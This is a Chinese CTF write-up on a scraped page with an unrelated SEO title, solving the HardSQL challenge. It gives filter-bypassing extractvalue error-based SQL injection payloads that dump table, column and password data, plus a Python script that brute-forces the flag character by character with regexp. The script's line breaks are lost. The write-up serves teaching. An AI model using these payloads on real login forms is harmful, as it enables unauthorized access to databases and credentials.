当前位置: 首页 > news >正文

如何自己创建一个网址seo推广收费标准

如何自己创建一个网址,seo推广收费标准,做国外购物网站,科技建站网站源码输入一些SQL关键词,发现空格,,union,and,by都被过滤了 被过滤,就用like替代 发现登录成功,可以注入 报错注入 注意 1.这里过滤了空格,就用()将内容包裹起来 比如说&#xff1a…

输入一些SQL关键词,发现空格,=,union,and,by都被过滤了

=被过滤,就用like替代 

 

发现登录成功,可以注入

报错注入

注意

1.这里过滤了空格,就用()将内容包裹起来

比如说:select table_name from information_schema.tables

就可以换成:select(table_name)from(information_schema.tables)

2.过滤了=,where(table_name='geek')语句中的 = 就被过滤了,此时可以用 like 代替:

where(table_name)like('geek')

爆库名:

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

爆表名:

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema

)like('geek')),0x7e)))#

 

爆列名:这里限制条件只用写table_name='H4rDsq1'就行了,因为and被过滤了

这里注意是('H4rDsq1')

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)

where(table_name)like('H4rDsq1')),0x7e)))#

 爆password:这里就必须写(H4rDsq1)

1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))#

但是显示不完整 

发现substr也被过滤了,所以使用right或者regexp

right:

1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#

拼接起来 

regexp:

regexp 是 SQL 中的正则表达式匹配运算符

url地址是直接复制的地址栏的地址,所以存在的都是编码后的字符,其原始语句为:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^f')),0x7e)))#【筛选出 H4rDsq1 表中 password 字段以 'f' 开头的记录】,可用payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^flag{5e0eabdd-83c3-466f-9e51-bb95d91d23ad}')),0x7e)))#,验证正则匹配方式的正确性,脚本如下:

正则表达式中,^f表示匹配字符串以 f 开头 

import requests  #requests 模块用于发送 HTTP 请求,与目标服务器进行交互。
import time      #time 模块用于添加延迟,避免请求过于频繁导致服务器拒绝。
#去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~' #定义了可能出现在 flag 中的字符集
i = 1
flag = ''  #flag 用于存储已经猜测到的部分 flag,初始为空字符串。
while i < 80:for one_char in strings:one_char = flag + one_char#先把已经猜好的和新遍历的字符拼接起来url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"#将one_char转换成字符串,以这个新猜的字符串为开头看看能不能匹配上真正的flag#如果能匹配上,它会返回匹配上的flag{xxxxxxxx}#(因为本意是查询有没有符合条件的字符串),所以回显的文本里会有flag字样time.sleep(0.05) #暂停 0.05 秒,避免请求过于频繁。rs = requests.get(url)if 'flag' in rs.text:   #如果响应文本中包含 'flag',说明当前猜测的部分 flag 是正确的,flag = one_charprint("\r", end="") #\r回车print('flag为:' + flag, end='')break

参考:[极客大挑战 2019]HardSQL-1 - upfine - 博客园

 

 

 

http://www.hyszgw.com/news/1243/

相关文章:

  • 游戏企业用什么程序做网站网页设计制作软件
  • 胶州网站建设公司站长工具之家seo查询
  • 国外网站空间购买小广告多的网站
  • 郑州一建集团工程建设有限公司网站重庆网站建设外包
  • 做网站的外包能学到什么sem百度竞价推广
  • wordpress域名展示天津seo渠道代理
  • 咸阳 网站建设手机助手
  • 服务器怎么做网站教程抖音搜索排名优化
  • wordpress插件 stock宝鸡百度seo
  • 做网站用html还是python好在线培训
  • 网址导航网站建设怎么网站排名seo
  • b2c外贸网站建设百度做广告
  • 文山专业网站建设联系电话天眼查企业查询入口
  • 网站建设图标图片全网营销代理加盟
  • 各大网站的404搜索引擎seo
  • 私密浏览器免费版的优缺点优化网站标题
  • 网站制作案例效果seo建站还有市场吗
  • 360度网站模板注册安全工程师
  • tk注册网站遵义网站seo
  • 内蒙古城乡和住房建设厅网站广州seo推广优化
  • 江门网站建设多少钱怎样在百度上免费建网站
  • 苏州互联网公司排行榜沧州seo包年优化软件排名
  • 什么网站有教做衣服视频的发布平台
  • 成都企业网站设计制作广州seo好找工作吗
  • 苏州中国建设银行招聘信息网站广告平台推广渠道
  • qq空间个人网站网站搜索系统
  • 给人做网站百度竞价客服电话
  • 浪潮网站 ibm网站 哪家公司做的温州网站建设制作
  • 我附近的广告公司潍坊关键词优化平台
  • 客户管理系统哪个好用惠州seo网站管理